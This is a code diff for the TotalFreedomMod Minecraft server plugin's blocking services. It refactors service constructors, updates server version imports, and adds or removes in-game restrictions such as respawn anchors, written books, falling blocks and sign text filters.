return this.vpnIps;
}
}

View File

@ -2,15 +2,11 @@ package me.totalfreedom.totalfreedommod.blocking;
import java.util.List; import java.util.List;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import me.totalfreedom.totalfreedommod.util.Groups; import me.totalfreedom.totalfreedommod.util.Groups;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Material; import org.bukkit.Material;
import org.bukkit.block.Banner; import org.bukkit.block.Banner;
import org.bukkit.block.Block;
import org.bukkit.block.Skull; import org.bukkit.block.Skull;
import org.bukkit.block.banner.Pattern; import org.bukkit.block.banner.Pattern;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@ -23,22 +19,17 @@ import org.bukkit.inventory.meta.SkullMeta;
public class BlockBlocker extends FreedomService public class BlockBlocker extends FreedomService
{ {
public BlockBlocker(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@SuppressWarnings("deprecation")
@EventHandler(priority = EventPriority.HIGH) @EventHandler(priority = EventPriority.HIGH)
public void onBlockPlace(BlockPlaceEvent event) public void onBlockPlace(BlockPlaceEvent event)
{ {
@ -48,11 +39,7 @@ public class BlockBlocker extends FreedomService
{ {
case LAVA: case LAVA:
{ {
if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean()) if (!ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
FLog.info(String.format("%s placed lava @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
}
else
{ {
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1)); player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
player.sendMessage(ChatColor.GRAY + "Lava placement is currently disabled."); player.sendMessage(ChatColor.GRAY + "Lava placement is currently disabled.");
@ -62,11 +49,7 @@ public class BlockBlocker extends FreedomService
} }
case WATER: case WATER:
{ {
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean()) if (!ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
FLog.info(String.format("%s placed water @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
}
else
{ {
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1)); player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
player.sendMessage(ChatColor.GRAY + "Water placement is currently disabled."); player.sendMessage(ChatColor.GRAY + "Water placement is currently disabled.");
@ -76,12 +59,9 @@ public class BlockBlocker extends FreedomService
break; break;
} }
case FIRE: case FIRE:
case SOUL_FIRE:
{ {
if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean()) if (!ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
FLog.info(String.format("%s placed fire @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
}
else
{ {
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1)); player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
player.sendMessage(ChatColor.GRAY + "Fire placement is currently disabled."); player.sendMessage(ChatColor.GRAY + "Fire placement is currently disabled.");
@ -89,14 +69,6 @@ public class BlockBlocker extends FreedomService
} }
break; break;
} }
case TNT:
{
if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
FLog.info(String.format("%s placed TNT @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
}
break;
}
case STRUCTURE_BLOCK: case STRUCTURE_BLOCK:
{ {
if (!ConfigEntry.ALLOW_STRUCTURE_BLOCKS.getBoolean()) if (!ConfigEntry.ALLOW_STRUCTURE_BLOCKS.getBoolean())
@ -152,7 +124,7 @@ public class BlockBlocker extends FreedomService
{ {
if (!ConfigEntry.ALLOW_BEEHIVES.getBoolean()) if (!ConfigEntry.ALLOW_BEEHIVES.getBoolean())
{ {
player.sendMessage(ChatColor.GRAY + "Bee hives are disabled."); player.sendMessage(ChatColor.GRAY + "Beehives are disabled.");
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1)); player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
event.setCancelled(true); event.setCancelled(true);
} }
@ -161,17 +133,18 @@ public class BlockBlocker extends FreedomService
case PLAYER_HEAD: case PLAYER_HEAD:
case PLAYER_WALL_HEAD: case PLAYER_WALL_HEAD:
{ {
Skull skull = (Skull) event.getBlockPlaced().getState(); Skull skull = (Skull)event.getBlockPlaced().getState();
if (skull.hasOwner()) if (skull.getOwner() != null)
{ {
if (skull.getOwner().contains("§")) if (skull.getOwner().contains("\u00A7"))
{ {
skull.setOwner(skull.getOwner().replace("§", "")); skull.setOwner(skull.getOwner().replace("\u00A7", ""));
SkullMeta meta = (SkullMeta) event.getItemInHand().getItemMeta(); SkullMeta meta = (SkullMeta)event.getItemInHand().getItemMeta();
if (meta != null) if (meta != null)
{ {
ItemStack newHead = new ItemStack(Material.PLAYER_HEAD, 1); ItemStack newHead = new ItemStack(Material.PLAYER_HEAD, 1);
ItemMeta headMeta = newHead.getItemMeta(); ItemMeta headMeta = newHead.getItemMeta();
assert headMeta != null;
headMeta.setDisplayName(ChatColor.YELLOW + "C-sectioned Head"); headMeta.setDisplayName(ChatColor.YELLOW + "C-sectioned Head");
newHead.setItemMeta(headMeta); newHead.setItemMeta(headMeta);
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), newHead); player.getInventory().setItem(player.getInventory().getHeldItemSlot(), newHead);
@ -188,21 +161,33 @@ public class BlockBlocker extends FreedomService
} }
break; break;
} }
case RESPAWN_ANCHOR:
{
if (!ConfigEntry.ALLOW_RESPAWN_ANCHORS.getBoolean())
{
player.sendMessage(ChatColor.GRAY + "Respawn anchors are disabled.");
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
event.setCancelled(true);
}
break;
}
default:
{
// Do nothing
break;
}
} }
if (Groups.BANNERS.contains(event.getBlockPlaced().getType())) if (Groups.BANNERS.contains(event.getBlockPlaced().getType()))
{ {
Banner banner = (Banner) event.getBlockPlaced().getState(); Banner banner = (Banner)event.getBlockPlaced().getState();
List<Pattern> patterns = banner.getPatterns(); List<Pattern> patterns = banner.getPatterns();
Banner handBanner = (Banner) (((Block) event.getItemInHand()).getState());
List<Pattern> handPatterns = banner.getPatterns();
if (patterns.size() >= 2) if (patterns.size() >= 2)
{ {
banner.setPatterns(patterns.subList(0, 2)); banner.setPatterns(patterns.subList(0, 2));
handBanner.setPatterns(handPatterns.subList(0, 2));
player.sendMessage(ChatColor.GRAY + "Your banner had too many patterns on it, so some were removed."); player.sendMessage(ChatColor.GRAY + "Your banner had too many patterns on it, so some were removed.");
} }
} }
} }
} }

View File

@ -1,69 +1,61 @@
package me.totalfreedom.totalfreedommod.blocking; package me.totalfreedom.totalfreedommod.blocking;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.util.FSync;
import me.totalfreedom.totalfreedommod.util.FSync; import org.bukkit.ChatColor;
import org.bukkit.ChatColor; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventPriority;
import org.bukkit.event.EventPriority; import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.block.BlockBreakEvent; import org.bukkit.event.block.BlockPlaceEvent;
import org.bukkit.event.block.BlockPlaceEvent;
public class EditBlocker extends FreedomService
public class EditBlocker extends FreedomService {
{ @Override
public void onStart()
public EditBlocker(TotalFreedomMod plugin) {
{ }
super(plugin);
} @Override
public void onStop()
@Override {
protected void onStart() }
{
} @EventHandler(priority = EventPriority.LOW)
public void onBlockPlace(BlockPlaceEvent event)
@Override {
protected void onStop() FPlayer fPlayer = plugin.pl.getPlayerSync(event.getPlayer());
{ if (!fPlayer.isEditBlocked())
} {
return;
@EventHandler(priority = EventPriority.LOW) }
public void onBlockPlace(BlockPlaceEvent event)
{ if (plugin.al.isAdminSync(event.getPlayer()))
FPlayer fPlayer = plugin.pl.getPlayerSync(event.getPlayer()); {
if (!fPlayer.isEditBlocked()) fPlayer.setEditBlocked(false);
{ return;
return; }
}
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "Your ability to place blocks has been disabled!");
if (plugin.al.isAdminSync(event.getPlayer())) event.setCancelled(true);
{ }
fPlayer.setEditBlocked(false);
return; @EventHandler(priority = EventPriority.LOW)
} public void onBlockBreak(BlockBreakEvent event)
{
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "Your ability to place blocks has been disabled!"); FPlayer fPlayer = plugin.pl.getPlayerSync(event.getPlayer());
event.setCancelled(true); if (!fPlayer.isEditBlocked())
} {
return;
@EventHandler(priority = EventPriority.LOW) }
public void onBlockBreak(BlockBreakEvent event)
{ if (plugin.al.isAdminSync(event.getPlayer()))
FPlayer fPlayer = plugin.pl.getPlayerSync(event.getPlayer()); {
if (!fPlayer.isEditBlocked()) fPlayer.setEditBlocked(false);
{ return;
return; }
}
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "Your ability to destroy blocks has been disabled!");
if (plugin.al.isAdminSync(event.getPlayer())) event.setCancelled(true);
{ }
fPlayer.setEditBlocked(false); }
return;
}
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "Your ability to destroy blocks has been disabled!");
event.setCancelled(true);
}
}

View File

@ -1,32 +1,37 @@
package me.totalfreedom.totalfreedommod.blocking; package me.totalfreedom.totalfreedommod.blocking;
import java.util.ArrayList;
import java.util.Arrays; import java.util.Arrays;
import java.util.List; import java.util.List;
import java.util.Objects;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import me.totalfreedom.totalfreedommod.util.Groups; import me.totalfreedom.totalfreedommod.util.Groups;
import org.bukkit.Material; import org.bukkit.Material;
import org.bukkit.attribute.Attribute; import org.bukkit.attribute.Attribute;
import org.bukkit.attribute.AttributeModifier; import org.bukkit.attribute.AttributeModifier;
import org.bukkit.block.data.AnaloguePowerable;
import org.bukkit.block.data.Powerable;
import org.bukkit.entity.Entity; import org.bukkit.entity.Entity;
import org.bukkit.entity.FallingBlock;
import org.bukkit.entity.Tameable; import org.bukkit.entity.Tameable;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.block.BlockBurnEvent; import org.bukkit.event.block.BlockBurnEvent;
import org.bukkit.event.block.BlockDispenseEvent; import org.bukkit.event.block.BlockDispenseEvent;
import org.bukkit.event.block.BlockFromToEvent; import org.bukkit.event.block.BlockFromToEvent;
import org.bukkit.event.block.BlockGrowEvent;
import org.bukkit.event.block.BlockIgniteEvent; import org.bukkit.event.block.BlockIgniteEvent;
import org.bukkit.event.block.BlockPhysicsEvent;
import org.bukkit.event.block.BlockPistonExtendEvent; import org.bukkit.event.block.BlockPistonExtendEvent;
import org.bukkit.event.block.BlockPistonRetractEvent; import org.bukkit.event.block.BlockPistonRetractEvent;
import org.bukkit.event.block.BlockRedstoneEvent;
import org.bukkit.event.block.LeavesDecayEvent; import org.bukkit.event.block.LeavesDecayEvent;
import org.bukkit.event.block.BlockGrowEvent;
import org.bukkit.event.entity.EntityCombustEvent; import org.bukkit.event.entity.EntityCombustEvent;
import org.bukkit.event.entity.EntityDamageEvent; import org.bukkit.event.entity.EntityDamageEvent;
import org.bukkit.event.entity.EntityDeathEvent; import org.bukkit.event.entity.EntityDeathEvent;
import org.bukkit.event.entity.EntityExplodeEvent; import org.bukkit.event.entity.EntityExplodeEvent;
import org.bukkit.event.entity.EntitySpawnEvent;
import org.bukkit.event.entity.ExplosionPrimeEvent; import org.bukkit.event.entity.ExplosionPrimeEvent;
import org.bukkit.event.entity.FireworkExplodeEvent; import org.bukkit.event.entity.FireworkExplodeEvent;
import org.bukkit.event.entity.PlayerDeathEvent; import org.bukkit.event.entity.PlayerDeathEvent;
@ -35,19 +40,27 @@ import org.bukkit.event.player.PlayerRespawnEvent;
public class EventBlocker extends FreedomService public class EventBlocker extends FreedomService
{ {
/**
* /@EventHandler(priority = EventPriority.HIGH)
* /public void onBlockRedstone(BlockRedstoneEvent event)
* /{
* / if (!ConfigEntry.ALLOW_REDSTONE.getBoolean())
* / {
* / event.setNewCurrent(0);
* / }
* /}
**/
public EventBlocker(TotalFreedomMod plugin) // TODO: Revert back to old redstone block system when (or if) it is fixed in Bukkit, Spigot or Paper.
{ private final ArrayList<Material> redstoneBlocks = new ArrayList<>(Arrays.asList(Material.REDSTONE, Material.DISPENSER, Material.DROPPER, Material.REDSTONE_LAMP));
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -123,16 +136,11 @@ public class EventBlocker extends FreedomService
@EventHandler(priority = EventPriority.HIGH) @EventHandler(priority = EventPriority.HIGH)
public void onEntityDamage(EntityDamageEvent event) public void onEntityDamage(EntityDamageEvent event)
{ {
switch (event.getCause()) if ((event.getCause() == EntityDamageEvent.DamageCause.LAVA)
&& !ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{ {
case LAVA: event.setCancelled(true);
{ return;
if (!ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
event.setCancelled(true);
return;
}
}
} }
if (ConfigEntry.ENABLE_PET_PROTECT.getBoolean()) if (ConfigEntry.ENABLE_PET_PROTECT.getBoolean())
@ -206,27 +214,41 @@ public class EventBlocker extends FreedomService
} }
} }
@EventHandler(priority = EventPriority.HIGH) @EventHandler
public void onBlockRedstone(BlockRedstoneEvent event) public void onEntitySpawn(EntitySpawnEvent event)
{
if (!ConfigEntry.ALLOW_GRAVITY.getBoolean() && event.getEntity() instanceof FallingBlock)
{
event.setCancelled(true);
}
}
@EventHandler
public void onBlockPhysics(BlockPhysicsEvent event)
{ {
if (!ConfigEntry.ALLOW_REDSTONE.getBoolean()) if (!ConfigEntry.ALLOW_REDSTONE.getBoolean())
{ {
event.setNewCurrent(0); // Check if the block is involved with redstone.
if (event.getBlock().getBlockData() instanceof AnaloguePowerable || event.getBlock().getBlockData() instanceof Powerable || redstoneBlocks.contains(event.getBlock().getType()))
{
event.setCancelled(true);
}
} }
} }
@EventHandler(priority = EventPriority.NORMAL) @EventHandler(priority = EventPriority.NORMAL)
public void onPlayerRespawn(PlayerRespawnEvent event) public void onPlayerRespawn(PlayerRespawnEvent event)
{ {
double maxHealth = event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); double maxHealth = Objects.requireNonNull(event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH)).getValue();
if (maxHealth < 1) if (maxHealth < 1)
{ {
for (AttributeModifier attributeModifier : event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH).getModifiers()) for (AttributeModifier attributeModifier : Objects.requireNonNull(event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH)).getModifiers())
{ {
event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH).removeModifier(attributeModifier); Objects.requireNonNull(event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH)).removeModifier(attributeModifier);
} }
} }
} }
@EventHandler(priority = EventPriority.NORMAL) @EventHandler(priority = EventPriority.NORMAL)
public void onBlockDispense(BlockDispenseEvent event) public void onBlockDispense(BlockDispenseEvent event)
{ {

View File

@ -1,33 +1,26 @@
package me.totalfreedom.totalfreedommod.blocking; package me.totalfreedom.totalfreedommod.blocking;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.Groups; import me.totalfreedom.totalfreedommod.util.Groups;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Material; import org.bukkit.Material;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerBedEnterEvent;
import org.bukkit.event.player.PlayerInteractEvent; import org.bukkit.event.player.PlayerInteractEvent;
import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.ItemStack;
public class InteractBlocker extends FreedomService public class InteractBlocker extends FreedomService
{ {
public InteractBlocker(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -43,10 +36,9 @@ public class InteractBlocker extends FreedomService
break; break;
} }
case LEFT_CLICK_AIR: default:
case LEFT_CLICK_BLOCK:
{ {
// // Do nothing
break; break;
} }
} }
@ -55,15 +47,20 @@ public class InteractBlocker extends FreedomService
@EventHandler(priority = EventPriority.HIGH) @EventHandler(priority = EventPriority.HIGH)
public void onRightClickBell(PlayerInteractEvent event) public void onRightClickBell(PlayerInteractEvent event)
{ {
if (event.getClickedBlock() != null) if (event.getClickedBlock() != null && event.getClickedBlock().getType().equals(Material.BELL) && !ConfigEntry.ALLOW_BELLS.getBoolean())
{ {
if (event.getClickedBlock().getType().equals(Material.BELL)) event.setCancelled(true);
{ }
if (!ConfigEntry.ALLOW_BELLS.getBoolean()) }
{
event.setCancelled(true); @EventHandler
} public void onBedEnter(PlayerBedEnterEvent event)
} {
Player player = event.getPlayer();
if (Groups.EXPLOSIVE_BED_BIOMES.contains(event.getBed().getBiome()))
{
player.sendMessage(ChatColor.RED + "You may not sleep here.");
event.setCancelled(true);
} }
} }
@ -73,7 +70,7 @@ public class InteractBlocker extends FreedomService
if (event.getClickedBlock() != null) if (event.getClickedBlock() != null)
{ {
if (event.getClickedBlock().getType().equals(Material.STRUCTURE_BLOCK) || event.getClickedBlock().getType().equals(Material.JIGSAW)) if (event.getClickedBlock().getType().equals(Material.STRUCTURE_BLOCK) || event.getClickedBlock().getType().equals(Material.JIGSAW) || event.getClickedBlock().getType().equals(Material.RESPAWN_ANCHOR))
{ {
event.setCancelled(true); event.setCancelled(true);
event.getPlayer().closeInventory(); event.getPlayer().closeInventory();
@ -128,7 +125,7 @@ public class InteractBlocker extends FreedomService
event.setCancelled(true); event.setCancelled(true);
break; break;
} }
case ARMOR_STAND: case ARMOR_STAND:
{ {
if (ConfigEntry.ALLOW_ARMOR_STANDS.getBoolean()) if (ConfigEntry.ALLOW_ARMOR_STANDS.getBoolean())
@ -153,6 +150,18 @@ public class InteractBlocker extends FreedomService
event.setCancelled(true); event.setCancelled(true);
break; break;
} }
case WRITTEN_BOOK:
{
player.getInventory().clear(player.getInventory().getHeldItemSlot());
player.sendMessage(ChatColor.GRAY + "Books are currently disabled.");
event.setCancelled(true);
break;
}
default:
{
// Do nothing
break;
}
} }
} }
} }

View File

@ -1,9 +1,8 @@
package me.totalfreedom.totalfreedommod.blocking; package me.totalfreedom.totalfreedommod.blocking;
import java.util.Objects;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.attribute.Attributable; import org.bukkit.attribute.Attributable;
import org.bukkit.attribute.Attribute; import org.bukkit.attribute.Attribute;
import org.bukkit.entity.Bat; import org.bukkit.entity.Bat;
@ -22,19 +21,13 @@ import org.bukkit.event.entity.EntitySpawnEvent;
public class MobBlocker extends FreedomService public class MobBlocker extends FreedomService
{ {
public MobBlocker(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -50,13 +43,13 @@ public class MobBlocker extends FreedomService
Entity entity = e.getEntity(); Entity entity = e.getEntity();
if (entity instanceof Attributable) if (entity instanceof Attributable)
{ {
if (((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE).getBaseValue() > 255.0) if (Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE)).getBaseValue() > 255.0)
{ {
((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE).setBaseValue(255.0); Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE)).setBaseValue(255.0);
} }
if (((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED).getBaseValue() > 10.0) if (Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED)).getBaseValue() > 10.0)
{ {
((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED).setBaseValue(10.0); Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED)).setBaseValue(10.0);
} }
} }
} }
@ -125,7 +118,7 @@ public class MobBlocker extends FreedomService
} }
int mobcount = 0; int mobcount = 0;
for (Entity entity : event.getLocation().getWorld().getLivingEntities()) for (Entity entity : Objects.requireNonNull(event.getLocation().getWorld()).getLivingEntities())
{ {
if (!(entity instanceof HumanEntity) && entity instanceof LivingEntity) if (!(entity instanceof HumanEntity) && entity instanceof LivingEntity)
{ {
@ -138,4 +131,4 @@ public class MobBlocker extends FreedomService
event.setCancelled(true); event.setCancelled(true);
} }
} }
} }

View File

@ -1,32 +1,26 @@
package me.totalfreedom.totalfreedommod.blocking; package me.totalfreedom.totalfreedommod.blocking;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.GameMode; import org.bukkit.GameMode;
import org.bukkit.entity.Arrow; import org.bukkit.entity.Arrow;
import org.bukkit.entity.Player;
import org.bukkit.entity.Trident;
import org.bukkit.entity.FishHook; import org.bukkit.entity.FishHook;
import org.bukkit.entity.Player;
import org.bukkit.entity.SpectralArrow;
import org.bukkit.entity.Trident;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.entity.EntityDamageByEntityEvent; import org.bukkit.event.entity.EntityDamageByEntityEvent;
public class PVPBlocker extends FreedomService public class PVPBlocker extends FreedomService
{ {
public PVPBlocker(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -50,6 +44,14 @@ public class PVPBlocker extends FreedomService
player = (Player)arrow.getShooter(); player = (Player)arrow.getShooter();
} }
} }
else if (event.getDamager() instanceof SpectralArrow)
{
SpectralArrow spectralArrow = (SpectralArrow)event.getDamager();
if (spectralArrow.getShooter() instanceof Player)
{
player = (Player)spectralArrow.getShooter();
}
}
else if (event.getDamager() instanceof Trident) else if (event.getDamager() instanceof Trident)
{ {
Trident trident = (Trident)event.getDamager(); Trident trident = (Trident)event.getDamager();
@ -91,7 +93,5 @@ public class PVPBlocker extends FreedomService
event.setCancelled(true); event.setCancelled(true);
} }
} }
} }
}
}

View File

@ -2,7 +2,6 @@ package me.totalfreedom.totalfreedommod.blocking;
import java.util.Collection; import java.util.Collection;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.entity.ThrownPotion; import org.bukkit.entity.ThrownPotion;
@ -19,18 +18,13 @@ public class PotionBlocker extends FreedomService
public static final int POTION_BLOCK_RADIUS_SQUARED = 20 * 20; public static final int POTION_BLOCK_RADIUS_SQUARED = 20 * 20;
public PotionBlocker(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -88,5 +82,4 @@ public class PotionBlocker extends FreedomService
} }
return false; return false;
} }
}
}

View File

@ -1,12 +1,10 @@
package me.totalfreedom.totalfreedommod.blocking; package me.totalfreedom.totalfreedommod.blocking;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod; import net.minecraft.server.v1_16_R3.NBTTagCompound;
import net.minecraft.server.v1_15_R1.NBTTagCompound;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Material;
import org.bukkit.Tag; import org.bukkit.Tag;
import org.bukkit.craftbukkit.v1_15_R1.inventory.CraftItemStack; import org.bukkit.craftbukkit.v1_16_R3.inventory.CraftItemStack;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
@ -19,19 +17,13 @@ import org.bukkit.inventory.ItemStack;
public class SignBlocker extends FreedomService public class SignBlocker extends FreedomService
{ {
public SignBlocker(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -43,8 +35,9 @@ public class SignBlocker extends FreedomService
if (Tag.SIGNS.getValues().contains(event.getBlock().getType())) if (Tag.SIGNS.getValues().contains(event.getBlock().getType()))
{ {
ItemStack sign = event.getItemInHand(); ItemStack sign = event.getItemInHand();
net.minecraft.server.v1_15_R1.ItemStack nmsSign = CraftItemStack.asNMSCopy(sign); net.minecraft.server.v1_16_R3.ItemStack nmsSign = CraftItemStack.asNMSCopy(sign);
NBTTagCompound compound = (nmsSign.hasTag()) ? nmsSign.getTag() : new NBTTagCompound(); NBTTagCompound compound = (nmsSign.hasTag()) ? nmsSign.getTag() : new NBTTagCompound();
assert compound != null;
NBTTagCompound bet = compound.getCompound("BlockEntityTag"); NBTTagCompound bet = compound.getCompound("BlockEntityTag");
String line1 = bet.getString("Text1"); String line1 = bet.getString("Text1");
String line2 = bet.getString("Text2"); String line2 = bet.getString("Text2");
@ -55,16 +48,6 @@ public class SignBlocker extends FreedomService
player.sendMessage(ChatColor.GRAY + "You are not allowed to place command signs."); player.sendMessage(ChatColor.GRAY + "You are not allowed to place command signs.");
event.setCancelled(true); event.setCancelled(true);
} }
if (line1.contains("translate") || line2.contains("translate") || line3.contains("translate") || line4.contains("translate"))
{
player.sendMessage(ChatColor.GRAY + "You are not allowed to place broken strings that Mojang never fixed.");
event.setCancelled(true);
}
if (line1.contains("translation.test.") || line2.contains("translation.test.") || line3.contains("translation.test.") || line4.contains("translation.test."))
{
player.sendMessage(ChatColor.BOLD + "No.");
event.setCancelled(true);
}
} }
} }
@ -81,4 +64,4 @@ public class SignBlocker extends FreedomService
event.setCancelled(true); event.setCancelled(true);
} }
} }
} }

View File

@ -2,24 +2,25 @@ package me.totalfreedom.totalfreedommod.blocking.command;
import com.google.common.collect.Lists; import com.google.common.collect.Lists;
import com.google.common.collect.Maps; import com.google.common.collect.Maps;
import java.lang.reflect.Field;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.regex.Matcher; import java.util.regex.Matcher;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.command.CommandReflection;
import org.apache.commons.lang.StringUtils; import org.apache.commons.lang.StringUtils;
import org.bukkit.ChatColor; import org.bukkit.Bukkit;
import org.bukkit.command.Command; import org.bukkit.command.Command;
import org.bukkit.command.CommandMap; import org.bukkit.command.CommandMap;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.command.SimpleCommandMap;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerCommandPreprocessEvent; import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.plugin.SimplePluginManager;
public class CommandBlocker extends FreedomService public class CommandBlocker extends FreedomService
{ {
